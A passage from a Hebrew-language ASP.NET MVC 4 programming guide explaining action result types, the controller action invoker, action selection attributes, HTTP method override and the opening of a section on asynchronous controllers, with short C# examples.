. HttpResponseיש שימוש בקידוד התוכן שמוגדר במופע הנוכחי של , אם לא מצוין סוג קידוד
 . web.configשל  globalizationאלמנט  מוגדר על ידי HttpResponseקידוד ברירת המחדל של 

יש שימוש בסוג התוכן שמוגדר במופע הנוכחי של , אם לא מצוין סוג התוכן, באופן דומה
HttpResponse .סוג התוכן של , על פי ברירת מחדלHttpResponse הוא text/html . 

EmptyResult 

זהו יישום .  מוֹרָה לתשתית לא לעשות דברEmptyResultהתוצאה , כפי שניתן להסיק משמה
אשר קובעת , )Null Object pattern(תבנית האובייקט הריק של תבנית עיצוב מקובלת בשם 

.  ריקיש מימוש ExecuteResultלשיטה , במקרה שלנו. שיש להחליף הפניות ריקות במופעים
 Refactoring: Improving the",  הוצגה לראשונה בספרו של מרטין פולרתבנית העיצוב הזו

Design of Existing Code "(Addison-Wesley Professional, 1999) . כדי ללמוד עוד על נושא
 . http://martinfowler.com/bliki/refactoring.htmlאנא בקרו בכתובת , זה

FileResult 

אך משמשת לכתיבת תכנים בינריים , ContentResultלתוצאה  דומה מאוד FileResultהתוצאה 
 בשרת BLOB על דיסק או נתונים מעמודה מסוג Microsoft Wordמסמך , כמו למשל(לתגובה 

SQL .( הצבת ערך במאפייןFileDownloadName של התוצאה תגרום להצבת הערך המתאים 
 .  בפני המשתמשולהצגת חלונית הורדת קובץ, Content-Dispositionבכותרת 

 היא מחלקת בסיס מופשטת עבור שלושה טיפוסים שונים של FileResultשימו לב שהתוצאה 
 : תוצאות פעולה

 FilePathResult 

 FileContentResult 

 FileStreamResult 

כלומר הטיפוס המסוים שמוחזר נבחר , "מפעל"השימוש מתבצע בדרך כלל על פי תבנית 
 .  שעבורה בוצעה הקריאהFileשל השיטה ) overload(בהתאם לגרסה המועמסת 

HttpStatusCodeResult 

 ותיאור HTTP מאפשרת להחזיר תוצאת פעולה עם קוד מצב HttpStatusCodeResultהתוצאה 
תוכלו להחזיר קוד מצב , כדי להודיע למבקש שהמשאב אינו זמין עוד, לדוגמה. מוגדרים

HTTP 410 (Gone) .החלטתם לא למכור יותר אלבומי דיסקו בחנות אם מסיבות כלשהן , למשל
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 כאשר 410 להחזיר קוד StoreController של Browseתוכלו לגרום לפעולה , ה שלכםמוסיקה
 : ת דיסקומוסיקמשתמש מחפש 

public ActionResult Browse(string genre) 

{ 

 if(genre.Equals("disco",StringComparison.InvariantCultureIgnoreCase)) 

  return new HttpStatusCodeResult(410); 

 

 var genreModel = new Genre { Name = genre }; 

 

 return View(genreModel); 

} 

,  שונות שמשמשות להחזרת קודי מצב נפוציםActionResultsשימו לב שיש חמש תוצאות 
 : 15-5כמפורט בטבלה 

 HttpNotFoundResult 

 HttpStatusCodeResult 

 HttpUnauthorizedResult 

 RedirectResult 

 RedirectToRouteResult 

מבוססות ) שמתוארות בהמשך הסעיף (RedirectToRouteResult - וRedirectResultהתוצאות 
 . HTTP 302על  וHTTP 301על קודי התגובה השכיחים 

JavaScriptResult 

.  מהשרת בצד הלקוח שנשלחJavaScript משמשת להרצת קוד JavaScriptResultתוצאת 
שיטת הפעולה ,  מובנים לביצוע בקשה לשיטת פעולהAjaxבעת שימוש בסייעי , לדוגמה

 : שמופעל מיד עם הגעתו ללקוחJavaScriptעשויה להחזיר קטע 

public ActionResult DoSomething() { 

 script s = "$('#some-div').html('Updated!');"; 

 

 return JavaScript(s); 

} 

 :הקריאה לקוד הזה תבוצע על ידי הקוד שלהלן

<%: Ajax.ActionLink("click", "DoSomething", new AjaxOptions()) %> 

<div id="some-div"></div> 

 . jQuery ולספרייה Ajaxבהנחה שיש הפניות מתאימות לספרייה , כל זאת

JsonResult 

 לביצוע סריאליזציה של התכנים JavaScriptSerializer משתמשת במחלקה JsonResultהתוצאה 
זוהי . )JavaScript Object Notation (JSONלפורמט ) Dataאשר מאוחסנים במאפיין (שלה 
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שבהם שיטת הפעולה צריכה להחזיר נתונים בפורמט נוח , Ajaxיכולת שימושית בתרחישי 
 . JavaScriptלשימוש בקוד 

 קידוד התוכן וסוג התוכן של התוצאה ניתן להגדיר את, ContentResultבדומה לתוצאה 
JsonResult שעבור  ,ההבדל היחיד הוא. דרך מאפייניםJsonResult , ברירת המחדל לערך של

ContentType היא application/json , ולאtext/html . 

.  מבצעת סריאליזציה של הגרף המלא של האובייקטJsonResultחשוב להבין שהתוצאה 
כל , Product מופעי 20אשר מכיל אוסף של , ProductCategory אובייקט אם נעביר לה, לדוגמה
כעת תארו .  שנשלחים לתגובהJSON יעבור סריאליזציה וייכלָל בנתוני Productמופע 

 JSONתגובת . Order מופעי 20עם ) Orders(לעצמכם שכל מוצר כזה מכיל אוסף הזמנות 
 . המוחזרת יכולה לגדול במהרה לממדים עצומים

עובדה שעשויה להיות , JSONאין דרך להגביל את כמות הנתונים שיומרו לפורמט , נכון להיום
בדומה (בעייתית כשמדובר באובייקטים שמכילים מספר רב של מאפיינים ואוספים 

הגישה המומלצת היא ליצור טיפוס ). LINQ to SQLשמופקים על ידי לאובייקטים טיפוסיים 
זהו תרחיש קלאסי . JsonResultנים שברצונכם לכלול בתוצאה שמכיל רק את הנתו, הוק-אד

 . לשימוש בטיפוס אנונימי

נוכל להשתמש במאתחל , ProductCategoryבמקום להמיר מופע של , בתרחיש הקודם, לדוגמה
 : כמוצג בקטע הקוד שלהלן,  כדי להעביר אך ורק את הנתונים הדרושיםאובייקט אנונימי 

public ActionResult PartialJson() 

{ 

 var category = new ProductCategory { Name="Partial"}; 

 var result = new { 

  Name = category.Name, 

  ProductCount = category.Products.Count 

 }; 

 return Json(result); 

} 

. ריההנתונים היחידים שדרושים לנו הם שם הקטגוריה ומספר המוצרים בקטגו, בדוגמה זו
אנחנו שולפים מהאובייקט המקורי רק את , במקום לבצע סריאליזציה של גרף האובייקט המלא

הדבר מאפשר . resultומאחסנים אותו במופע של טיפוס אנונימי שנקרא , המידע שדרוש לנו
: לגישה זו יש יתרון נוסף. להעביר לתגובה את המופע הזה במקום את גרף האובייקט המלא

כמו למשל קודי , מכוונת של נתונים שאיננו רוצים לחשוף ללקוח-ה בלתיהיא מונעת המר
 . 'מידע על הספק וכו, כמות במלאי, מוצר פנימיים

RedirectResult 

שמוגדרת דרך המאפיין ( נתונה URL לכתובת HTTP מבצעת הפניית RedirectResultהתוצאה 
Url .(התוצאה קוראת לשיטה , ברקעHttpResponse.Redirect, אשר מגדירה את קוד המצב 

HTTP/1.1 302 Object Moved . קוד זה גורם לדפדפן להפיק מייד בקשה חדשה לכתובת
 . שניתנה לו
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אולם ,  מתוך שיטת הפעולהResponse.Redirectניתן לבצע קריאה ישירה לשיטה , בעיקרון
 הפעולה  מאפשר לדחות את הפעולה הזו עד לאחר ששיטתRedirectResultהשימוש בתוצאה 

, יחידה של שיטת הפעולה-הדחיה הזו שימושית בעיקר בעת בדיקת. מסיימת את עבודתה
 . והשימוש בתוצאת הפעולה תורם לבידוד שיטת הפעולה מרכיבי התשתית שפועלים ברקע

RedirectToRouteResult 

, RedirectResult באופן דומה לשיטה HTTP מבצעת הפניית RedirectToRouteResultהתוצאה 
 של מערכת API-תוצאת הפעולה משתמשת ב,  באופן ישירURLבמקום לציין כתובת אך 

 .  להפנות את המשתמשURLהניתוב כדי לקבוע לאיזה 

:  מופיעות שתי שיטות עזר שמחזירות תוצאה מטיפוס זה15-4שימו לב שבטבלה 
RedirectToRouteו -RedirectToAction . 

שינוי כתובת  (HTTP 301תגובה הקוד את ת שמחזירות  שלוש שיטות נוספויש, נאמרכפי ש
 . RedirectToRoutePermanent  - וRedirectPermanent ,RedirectToActionPermanent): קבוע

ViewResult 

ViewResultהיא קוראת לשיטה .  הוא הטיפוס הנפוץ ביותר של תוצאות פעולהFindView של 
 קוראת ViewResultהתוצאה , בשלב זה. IViewשל אשר מחזיר מופע , IViewEngineמופע של 

תהליך זה מזין , ככלל. אשר מממשת את הפלט לתגובה, IView של מופע Renderלשיטה 
לתבניות תצוגה ) הנתונים שהוכנו על ידי שיטת הפעולה עבור התצוגה(נתוני תצוגה ספציפיים 

 . שמסדרות את הנתונים בפורמט המתאים להצגה

PartialViewResult 

פרט לזה שהיא קוראת לשיטה , ViewResult פועלת בדיוק כמו PartialViewResultהתוצאה 
FindPartialView ולא לשיטה , איתור התצוגה לצורךFindView . התוצאהPartialViewResult 

משמשת למימוש תצוגות חלקיות וניתן להשתמש בה בתרחישי עדכון חלקיים שמשתמשים 
 .  חדשותHTMLון חלקים מסוימים מהדף עם תגיות  לעדכAjaxבהן ביכולות 

 תוצאות פעולה לא מפורשת

הוא לכתוב קוד , ופיתוח תוכנה בכלל, ASP.NET MVCאחד היעדים העיקריים בפיתוח יישומי 
במקרים מסוימים . שמאפשר למי שקורא אותו להבין בצורה ברורה ככל הניתן מה הוא עושה

במקרים אלה כדאי . שוטות שמחזירות נתון אחד בלבדתצטרכו לכתוב שיטות פעולה מאוד פ
 . שחתימת שיטת הפעולה תשקף את המידע שהיא מחזירה

) action(הפעולה .  שמחשבת את המרחק בין שתי נקודותDistanceניקח לדוגמה שיטה בשם 
 כמודגם על ידי פעולות הבקר הראשונות בסעיף -) response(לכתוב ישירות לתגובה יכולה 

 :ניתן גם לכתוב פעולה שמחזירה ערך באופן הבא,  זאתםע. 2בפרק "  הראשון שלכםהבקר"
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public double Distance(int x1, int y1, int x2, int y2) 

{ 

 double xSquared = Math.Pow(x2 - x1, 2); 

 double ySquared = Math.Pow(y2 - y1, 2); 

 return Math.Sqrt(xSquared + ySquared); 

} 

. ActionResultולא מטיפוס שיורש מהמחלקה , doubleימו לב שהערך המוחזר הוא מטיפוס ש
 קוראת לשיטה ורואה שהערך המוחזר אינו ASP.NET MVCכאשר . אין עם זה כל בעיה

ActionResult , היא יוצרת באופן אוטומטי אתContentResult  שמכילה את תוצאת שיטת
 .  בתור תוצאת הפעולהומשתמשת בה באופן פנימי, הפעולה

ולכן ,  צריכה לקבל ערך מטיפוס מחרוזתContentResultבהקשר זה חשוב לזכור שהתוצאה 
תשתית , כדי לעשות זאת. עליכם להמיר תחילה למחרוזת את תוצאת שיטת הפעולה שלכם

ASP.NET MVC מפעילה על התוצאה את השיטה ToString ,תוך שימוש ב-InvariantCulture ,
אם יש צורך להציג את התוצאה שלכם . ContentResult-חר מכן מעבירה אותה לורק לא

 באופן מפורש ContentResultתוכלו להחזיר , בפורמט מסוים שמותאם לצורך כלשהו
 : השיטה הקודמת שקולה במידה רבה לשיטה שלהלן. כרצונכם

public ActionResult Distance(int x1, int y1, int x2, int y2) 

{ 

 double xSquared = Math.Pow(x2 - x1, 2); 

 double ySquared = Math.Pow(y2 - y1, 2); 

 double distance = Math.Sqrt(xSquared + ySquared); 

 return Content(Convert.ToString(distance, CultureInfo.InvariantCulture)); 

} 

וקל יותר לוודא את , ברורה יותרהיתרונות של השיטה החדשה הם בכך שהכוונה של הקוד 
 . תקינות השיטה באמצעות בדיקת יחידה

מפורשות שעשויות להתרחש בעת כתיבת שיטות - מפורטות ההמרות הלא15-6בטבלה 
 . ActionResultפעולה שאינן מחזירות ערך מטיפוס 

 ת של תוצאות שיטות פעולהוהמרות לא מפורש: 15-6טבלה 

 תיאור הערך המוחזר

Null מחליף תוצאות ם הפעולותיוז null במופעים של EmptyResult . הדבר
המתכנתים שכותבים מסנני , כתוצאה. תואם לתבנית האובייקט הריק

 . nullפעולה מותאמים אינם צריכים לטפל בתוצאות פעולה מסוג 

Void מתייחס לשיטת הפעולה כאילו החזירה יוזם הפעולות null , ולפיכך
 . EmptyResultמוחזרת תוצאה 

אובייקטים אחרים 
שאינם צאצאים של 

ActionResult . 

 של האובייקט ומעביר ToString השיטאת היוזם הפעולות מפעיל את 
 ולאחר מכן אורז את המחרוזת שמתקבלת ,InvariantCultureלה 

 . ContentResultבמופע של 
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בשיטה ) encapsulated( מכומס ContentResultהקוד שמשמש ליצירת מופע של  הערה
אם ברצונכם להחזיר טיפוס תוצאת . CreateActionResultששמה , יוזם הפעולותוירטואלית של 

תוכלו לכתוב יוזם פעולות משלכם שיורש מהמחלקה , פעולה לא מפורש אחר
ControllerActionInvokerודורס את השיטה הזו  . 

באופן אוטומטי בתוצאה ניצור יוזם פעולות מותאם אישית כאשר עלינו לארוז , למשל
JsonResultאת הערכים שמוחזרים על ידי שיטות פעולה  . 

 יוזם הפעולות

וכעת הגיע הזמן , במהלך הפרק התייחסנו מספר פעמים ליוזם הפעולות ללא הסברים רבים
בסעיף זה נדון בתפקיד האלמנט החשוב הזה בשרשרת עיבוד הבקשות . לספק את סקרנותכם

יוזם הפעולות  -רכיב שאחראי ליזום את הפעולות שאתם קוראים להן ה: ASP.NET MVCשל 
)action invoker( .בהגדרה הראשונית של הבקר שהצגנו בפניכם בחלקו הקודם של הפרק ,

בהמשך . Controller לשיטות פעולה במחלקה URLתיארנו כיצד מערכת הניתוב ממפה כתובות 
אלא בסך , אינם ממפים שום דבר לפעולות בקרדנו פרטים הקטנים והסברנו שהניתובים עצמם 

 שמאוחסנת בהקשר RouteDataהכול מעבדים את הבקשה הנכנסת ומאכלסים מופע של 
 . הנוכחי) RequestContext(הבקשה 

מי שיוזם בפועל את שיטת הפעולה של הבקר על סמך הֶקשְֵר הבקשה הנוכחי הוא למעשה 
ControllerActionInvoker ,המאפיין אשר מוגדר דרך ActionInvoker של המחלקה Controller .

 : להלן מפורטים תפקידי יוזם הפעולות

 איתור שיטת הפעולה שצריך לקרוא לה. 

  קבלת הערכים שמועברים לפרמטרים של שיטת הפעולה על ידי שימוש במערכת
 . הקישור למודל

 יזום שיטת הפעולה וכל המסננים שלה . 

  קריאה לשיטהExecuteResultל התוצאה  שActionResult שהוחזרה על ידי שיטת 
היוזם יוצר תוצאת פעולה , ActionResultבמקרה של שיטות שאינן מחזירות . הפעולה

על האובייקט  ExecuteResultומפעיל את , לא מפורשת כמתואר בסעיף הקודם
 . המתקבל

 . להבסעיף הבא נבחן בצורה מעמיקה יותר כיצד יוזם הפעולות מאתר שיטות פעו

 אופן המיפוי של פעולה לשיטה

 מחפש במילון ערכי הניתוב שמשויך להקשר הבקשה ControllerActionInvokerיוזם הפעולות 
 של ניתוב ברירת URLניקח לדוגמה את תבנית . הנוכחי את הערך שתואם למפתח הפעולה

 :המחדל
{controller}/{action}/{id} 



 ASP.NET MVC 4מדריך    450

שנגיש דרך (המילון של ערכי ניתוב , כאשר מתקבלת בקשה שתואמת לתבנית זו
RequestContext (אם מתקבלת בקשה לנתיב, לדוגמה. מאוכלס על סמך הניתוב הזה: 

/home/list/123 

 .  וממפתח הפעולהlistמערכת הניתוב מוסיפה למילון ערכי הניתוב את הצמד שמורכב מהערך 

זו עדיין לא . URLבת פעולה היא למעשה מחרוזת שנשלפה מתוך כתו, בשלב זה של הבקשה
למרות שלרוב היא אכן . המחרוזת מייצגת את שם הפעולה שצריכה לטפל בבקשה זו. שיטה

יכולה להיות יותר . הינה למעשה הפשטה) action" (פעולה"המונח , מיוצגת על ידי שיטה
האמצעי שמשמש לטיפול בבקשת , למעשה. משיטה אחת שמגיבה לשם פעולה מסוים

 . והוא יכול גם להיות כל תהליך עבודה או מנגנון אחר, חייב להיות שיטההפעולה בכלל לא 

אין , שעל אף העובדה שברוב המקרים פעולות ממופות לשיטות, מה שאנחנו מנסים לומר הוא
עם , כאשר נדון בפעולות אסינכרוניות, בהמשך נראה דוגמה שממחישה זאת. זה תנאי מחייב

 .  שיטות לכל פעולהשתי

 ת פעולהבחירת שיט

הוא מנסה לאתר שיטה שיכולה להגיב לפעולה , לאחר שיוזם הפעולות מזהה את שם הפעולה
 כדי למצוא שיטה ציבורית במחלקה reflection-היוזם משתמש ב, על פי ברירת מחדל. זו

תוך (ותהיה בעלת שם זהה לשם הפעולה הנוכחית , Controllerשיורשת ממחלקת הבסיס 
 : השיטה חייבת לקיים את התנאים הבאים). ת ולאותיות רגילותרגישות לאותיות רישיו

  שיטת פעולה אינה יכולה להיות מסומנת במאפיין סימוןNonActionAttribute . 

 אינם יכולים לשמש קוראי מאפיינים וקוראי אירועים , בנאיםוחדות כגון שיטות מי
 . כשיטות פעולה

  שיטות מובנות של המחלקהObject)  כגוןToString ( או המחלקהController)  כגון
Dispose או View (אינן יכולות לשמש כשיטות פעולה . 

תוכלו לשנות את התנהגויות ברירת המחדל , ASP.NET MVCבדומה להיבטים רבים אחרים של 
 . כדי להתאימן במידת הצורך לדרישות הייחודיות של היישום שלכם

ActionNameAttribute 

על ידי החלת מאפיין הסימון , שם הפעולה שהשיטה מטפלת בהבאפשרותכם לציין את 
ActionNameנניח שאתם רוצים שביישום שלכם תהיה פעולה בשם , לדוגמה.  על השיטה

View . הבעיה היא שהשם מתנגש עם השיטהView המובנית של Controller ומשמשת להחזרת 
ViewResult .הנה פתרון פשוט לבעיה זו: 

[ActionName("View")] 

public ActionResult ViewSomething(string id) 

{ 

return View(); 

} 
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השיטה , כעת. View מגדיר מחדש את שם הפעולה הזו בתור ActionNameמאפיין הסימון 
אם . home/viewsomething/אך לא עבור , home/view/תופעל בתגובה לבקשות עבור 

 מבחינת יוזם הפעולות לא קיימת שיטת אז, home/viewsomething/בקשה עבור מתקבלת 
 . ViewSomethingפעולה בשם 

התוצאה , אם אתם משתמשים בגישה הסטנדרטית שלנו לאיתור התצוגה שתואמת לפעולה הזו
בהנחה שמדובר (בדוגמה האחרונה . ולא על שם השיטה, צריכה להיקרא על שם הפעולה

דל המערכת תנסה לאתר את התצוגה נראה שעל פי ברירת מח, )HomeControllerבשיטה של 
 . Views/Home/View.cshtml/~תחת 

יש כלל שקובע ששם שיטת הפעולה . אינכם חייבים להשתמש בתכונה זו בכל שיטות הפעולה
משמש כשם הפעולה רק במקרה שהשם אינו מוגדר באופן מפורש באמצעות התכונה 

ActionName . 

ActionSelectorAttribute 

 Controllerלאחר זיהוי כל השיטות במחלקה . פעולה לשיטה טרם הסתייםתהליך התאמת ה
עליכם לנפות שיטות נוספות על ידי בחינת כל המופעים של , שתואמות לשם הפעולה
ActionSelectorAttributeשמוחלות על השיטות שברשימה . 

 בסוגי מאפיין זה הינו מחלקת בסיס מופשטת ליצירת מאפיינים שמשמשים לשליטה פרטנית
 :  של המחלקה כולל שיטה אחת בלבדAPI-ה. הבקשות שלהם יכולה שיטת הפעולה להגיב

public abstract class ActionSelectorAttribute : Attribute 

{ 

 public abstract bool IsValidForRequest(ControllerContext controllerContext, 

  MethodInfo methodInfo); 

} 

ות עובר בשלב זה על כל השיטות ברשימה שמכילות מאפיינים שיורשים ממחלקת יוזם הפעול
אם מאפיין כלשהי מחזיר .  של כל אחד מהםIsValidForRequestוקורא לשיטה , המאפיין הזה

false , השיטה שעליה מוחל המאפיין מנופית מרשימת השיטות שמועמדות לטפל בפעולה
 . הנוכחית

וזו השיטה שתופעל על ידי יוזם , ר ברשימה שיטה אחת בלבדבסופו של דבר אמורה להישא
יוזם הפעולות זורק , אם יש יותר משיטה אחת שיכולה לטפל בבקשה הנוכחית. הפעולות

אם לא . משמעי לאיזו שיטה לקרוא-שגיאה שמתריעה על כך שלא ניתן לקבוע באופן חד
 של HandleUnknownActionיוזם הפעולות קורא לשיטה , נמצאת שיטה שיכולה לטפל בבקשה

 . מחלקת הבקר

 AcceptVerbsהמאפיין :  כוללת שני מימושים של מחלקת הבסיס הזוASP.NET MVCתשתית 
 . NonActionוהמאפיין 
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AcceptVerbs  

אשר בודק באמצעות איזו , ActionSelector הוא מימוש של המאפיין AcceptVerbsהמאפיין 
כחית כדי לקבוע אם השיטה הינה הפעולה המתאימה  הנוHTTP נשלחה בקשת HTTPהוראת 

תוכלו לכתוב גרסאות מועמסות שונות לאותה , על ידי שימוש בתכונה זו. לטיפול בבקשה
 .  שונותHTTPכאשר כל גרסה מופעלת בתגובה להוראות , שיטה פעולה

.  מסוימותHTTP מספקת תחביר תמציתי יותר להגבלת שיטות להוראות MVCתשתית 
 הם למעשה דרך [HttpHead]- ו[HttpPut], [HttpDelete], [HttpPost], [HttpGet]נים המאפיי

, [AcceptVerbs(HttpVerbs.Post)], [AcceptVerbs(HttpVerbs.Get)]מקוצרת לכתוב 
[AcceptVerbs(HttpVerbs.Delete)] ,[AcceptVerbs(HttpVerbs.Put)]ו - 
[AcceptVerbs(HttpVerbs.Head)]ספקות תרומה משמעותית לפשטות הכתיבה ומ,  בהתאמה

 . וההבנה של הקוד

והשנייה , האחת למימוש טופס התצוגה: Editתוכלו ליצור שתי גרסאות של השיטה , לדוגמה
 :לטיפול בבקשה שמבצעת את מסירת הטופס

[HttpGet] 

public ActionResult Edit(string id) 

{ 

 return View(); 

} 

 

[HttpPost] 

public ActionResult Edit(string id, FormCollection form) 

{ 

 //Save the item and redirect… 

} 

יוזם הפעולות יוצר רשימה של כל השיטות , home/edit/ לפעולה POSTבעת קבלת בקשה 
. רשימה זו תמנה בסך הכול שתי שיטות, במקרה שלנו). edit(בבקר ששמן זהה לשם הפעולה 

 שמוחלים על כל אחת ActionSelectorת יעבור על כל המופעים של יוזם הפעולו, בשלב הבא
אם המאפיין שמוחזר על ידי אחת .  של כל מאפייןIsValidForRequestמהשיטות ויקרא לשיטת 

 . השיטה תיחשב כמועמדת פוטנציאלית לביצוע הפעולה המבוקשת, trueהשיטות הוא 

ונה אם היא יכולה לטפל בבקשת כאשר היוזם שואל את השיטה הראש, למשל, במקרה זה
POST התשובה תהיה שלילית )false ( מכיוון שהיא מטפלת בבקשותGETהשיטה .  בלבד

ולפיכך זו השיטה שתיבחר , POSTמכיוון שהיא יכולה לטפל בבקשות , trueהשנייה תחזיר 
 . לטפל בבקשה

טה יוזם הפעולות יקרא לשי, אם אף לא אחת מהשיטות ברשימה עומדת בדרישות
HandleUnknownActionאם יותר . ויעביר לה את שם הפעולה הנעדרת כפרמטר,  של הבקר

 . InvalidOperationExceptionתיזרק השגיאה , משיטת פעולה אחת מקיימת את כל הדרישות
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 RESTהדמיית הוראות 

, אולם. POST- וGET:  בלבדHTTPרוב הדפדפנים תומכים בשתי הוראות , במהלך גלישה רגילה
, DELETE:  משתמשות במספר הוראות סטנדרטיות נוספותREST-ארכיטקטורות מבוססות

HEADו -PUT . תשתיתASP.NET MVC מאפשרת לדמות את ההוראות הללו באמצעות שיטת 
 אשר בהתאם לפרמטר שמועבר לה מדמה אחת מהוראות Html.HttpMethodOverrideהסיוע 
HTTP הסטנדרטיות )DELETE ,GET ,HEAD ,POSTו -PUT .(הדבר מתבצע על ידי , ברקע

 .X-HTTP-Method-Overrideההוראה בשדה טופס שליחת 

כמו גם , [AcceptVerbs] משולבת במאפיין הסימון HttpMethodOverrideשיטה ההתנהגות של ה
 : בהתאם להוראה הרלוונטית, באחד מהמאפיינים החדשים המקוצרים

 HttpPostAttribute 

 HttpPutAttribute 

 HttpGetAttribute 

 HttpDeleteAttribute 

 HttpHeadAttribute 

ניתן לציין , POST רק כאשר הבקשה האמיתית היא בקשת HTTPלמרות שניתן לדרוס הוראות 
או בערך מחרוזת שאילתה כצמד , )HTTP) HTTP headerאת הערך החלופי גם בכותרת 

 . ערך/שם

  מידע נוסף- HTTPדריסת הוראות 

 אינה מהווה חלק מתקן רשמי X-HTTP-Method-Override באמצעות HTTP דריסת הוראות
 . אך הדבר הפך לנוהג מקובל, כלשהו

 2006 בשנת Google Data כחלק מפרוטוקול Googleהגישה הזו הוצגה לראשונה על ידי 
)http://code.google.com/apis/gdata/docs/2.0/basics.html( ,ומאז יושמה על ידי מספר רב של 

 מיישמת Ruby on Railsתשתית . REST- אינטרנטיים ותשתיות אינטרנט מבוססיAPIממשקי 
 .X-HTTP-Method-Override במקום method_אך משתמשת בשדה הטופס , גישה דומה

התשתית מחפשת תחילה את ההוראה .  בלבדPOST מאפשרת לדרוס בקשות MVCתשתית 
 . ולבסוף בערכי מחרוזת שאילתה, פס שנמסרלאחר מכן בערכי הטו, HTTPשנדרסת בכותרות 

 פעולותהיוזם 

להסבר מפורט על המערכת (בשלב האחרון יוזם הפעולות משתמש במערכת הקישור למודל 
וכעת , כדי למפות ערכים לפרמטרים של שיטת הפעולה) 4בפרק " קישור למודל"ראו סעיף 

ות בונה רשימה של מסננים יוזם הפעול. סוף סוף אנחנו מוכנים ליזום את השיטה עצמה
על פי הסדר , שמשויכים לשיטת הפעולה הנוכחית ויוזם את המסננים יחד עם שיטת הפעולה

 . 13בפרק " מסנני פעולה"לפרטים נוספים ראו . המתאים
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 שימוש בפעולות בקר אסינכרוניות

התשתית מספקת תמיכה מלאה בצינור בקשה אסינכרוני , ASP.NET MVC 2החל מהגרסה 
)asynchronous request pipiline .( המטרה של צינור אסינכרוני הינה לאפשר לשרת האינטרנט

 כמו למשל בקשה שכרוכה בזמן המתנה ארוך -לטפל בבקשות בעלות משך ריצה ארוך 
.  ובמקביל להמשיך להגיב לבקשות אחרות-להשלמה של פעולת רשת או של בסיס נתונים 

ולאו דווקא לקצר את זמן , לייעל את הטיפול בכלל הבקשותקוד אסינכרוני נועד , בהקשר זה
 . הטיפול בבקשה מסוימת

 כתיבה של בקרים אסינכרוניים הייתה MVC 4אך לפני , מדובר אומנם בטכניקה בעלת עוצמה
 NET Frameworkאת אפשרויות  מנצלת MVC 4תשתית . לא פשוטה כלל וכללמשימה 

פן משמעותי את תהליך הכתיבה של בקרים כדי לפשט באו, החדשות שמפורטות להלן
 : אסינכרוניים

 הלגרס .NET 4חדשה  ה נוספה ספרייTask Parallel שמקלה במידה רבה על עבודת 
. NET.הפיתוח הנדרשת כדי לספק תמיכה בעבודה במקביל ובשיתוף פעולה ביישומי 

כדי . נכרוני אשר מייצג הליך אסיTask כוללת טיפוס חדש בשם Task Parallelהספרייה 
להחזיר לשיטות פעולה  מאפשרת MVC 4 תשתית ,החדשותלתמוך באפשרויות 
Task<ActionResult> . 

  עם גרסת.NET 4.5 ,הודות להוספה של , התכנות האסינכרוני הפך להיות פשוט אף יותר
 מודיעה למהדר asyncמילת המפתח . await- וasync: שתי מילות מפתח חדשות

וכוללת הליך אחד או , )lambdaכולל שיטות אנונימיות וביטויי  (שהשיטה אסינכרונית
בתוך השיטה ) tasks( מוחלת על מטלות awaitמילת המפתח . יותר עם משך ריצה ארוך

 . האסינכרונית כדי לציין שיש להשהות את הפעלת השיטה עד לסיום המטלה המסומנת

 שילוב של ה.NET 4 Tasks ומילות המפתח asyncו - await של .NET 4.5 זכה לכינוי 
או , )Task-based Asynchronous Pattern(מטלות -ת מבוססת אסינכרוניתבנית

כתיבת פעולות בקר אסינכרוניות באמצעות , TAPהודות לתמיכת . TAP -בקיצור 
MVC 4 הפכה לפשוטה באופן משמעותי לעומת המקובל בגרסאות MVC 2/3 . בסעיף זה

ובסוף גם , NET 4.5. שפועלים בסביבת MVC 4 ביישומי TAPנתמקד בשימוש ביכולות 
 . MVC 3 או MVC 2נספק מספר הנחיות למפתחים שעובדים עם 

עליכם לדעת תחילה ,  אסינכרוני  לבין קוד סינכרוניASP.NETכדי להבין את ההבדל בין קוד 
תהליכונים  מנהל אוסף של IISשרת . כיצד בקשות מעובדות על ידי שרת האינטרנט

)threads( מאגר התהליכונים  - רדומים)thread pool( - אשר משמשים לעיבוד בקשות 
בזמן . נבחר מהמאגר תהליכון לעיבוד הבקשה הזו, בכל פעם שמתקבלת בקשה. נכנסות

הוא אינו יכול לעבד כל בקשה אחרת כל עוד לא סיים עם , שהתהליכון מעבד את הבקשה
העניק שירות למספק בקשות באופן סימולטני  לIISהיכולת של שרת . הבקשה הנוכחית

מבוסס על ההנחה שהמאגר תמיד מכיל תהליכונים פנויים שיכולים לשמש לעיבוד בקשות 
 . חדשות
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ונניח ,  במהלך ההרצה שלה)network call(קריאת רשת כעת נניח שיש פעולה שמבצעת 
שתי שניות כדי דרושות לשרת כ, מבחינת המבקר באתר.  נמשכת שתי שניותקריאת רשתש

, בעולם סינכרוני. בתוספת עלויות זמן שונות של שרת האינטרנט עצמו, להגיב לבקשה שלו
. קריאת הרשתהתהליכון שמעבד את הבקשה מושבת במשך שתי השניות שדרושות להשלמת 

התהליכון אינו יכול לקדם את הטיפול בבקשה הנוכחית מכיוון שעליו להמתין , כלומר
אבל מצד שני הוא גם אינו יכול לטפל בבקשות אחרות מכיון שהוא , שתקריאת הרלהשלמת 

 blocked(תהליכון חסום תהליכון שנמצא במצב כזה הוא . עדיין מוקצה לבקשה המקורית

thread( .מכיוון שמאגר התהליכונים מספיק גדול כדי להתמודד , בדרך כלל אין בזה כל בעיה
ם גדולים שצריכים לעבד מספר רב של בקשות ביישומי, עם זאת. עם תהליכונים חסומים

מספר רב של תהליכונים עשויים להיחסם בעודם , )לדוגמה, פניות לאתר של בנק(במקביל 
ובמאגר התהליכונים לא ישארו מספיק תהליכונים רדומים כדי , ממתינים לנתונים מהרשת

 thread(ליכונים רת תהצוֹבַּהמצב הזה מכונה . לספק מענה לכל הבקשות החדשות הנכנסות

starvation( , והוא עלול לפגוע קשות בביצועי האתר) 15-17תרשים .( 

 
 ל בקשה סינכרוניתציר זמן ש

 15-17תרשים 

בכל פעם . שימוש בצינור בקשה אסינכרוני מונע חסימה של תהליכונים בעת המתנה לנתונים
בוד נתונים או קריאה כגון פעילות עי, שהפעולה מתחילה לבצע הליך בעל משך ריצה ארוך

. הפעולה אמורה לשחרר מיוזמתה את השליטה בתהליכון למשך הפעולה, וכתיבה לדיסק
אז אל , אני לא אוכל להמשיך לרוץ בזמן הקרוב: "אפשר לומר שהפעולה מודיעה לתהליכון

התהליכון , בשלב זה".  ברגע שהמידע שאני צריכה יהיה זמיןIISאני אודיע לשרת . תמתין לי
והבקשה , זר למאגר התהליכונים כדי לאפשר לשרת להקצות אותו לבקשות אחרותמוח

חשוב להבין שפעולה מושהית אינה משויכת לתהליכון . הנוכחית מושהית עד להגעת הנתונים
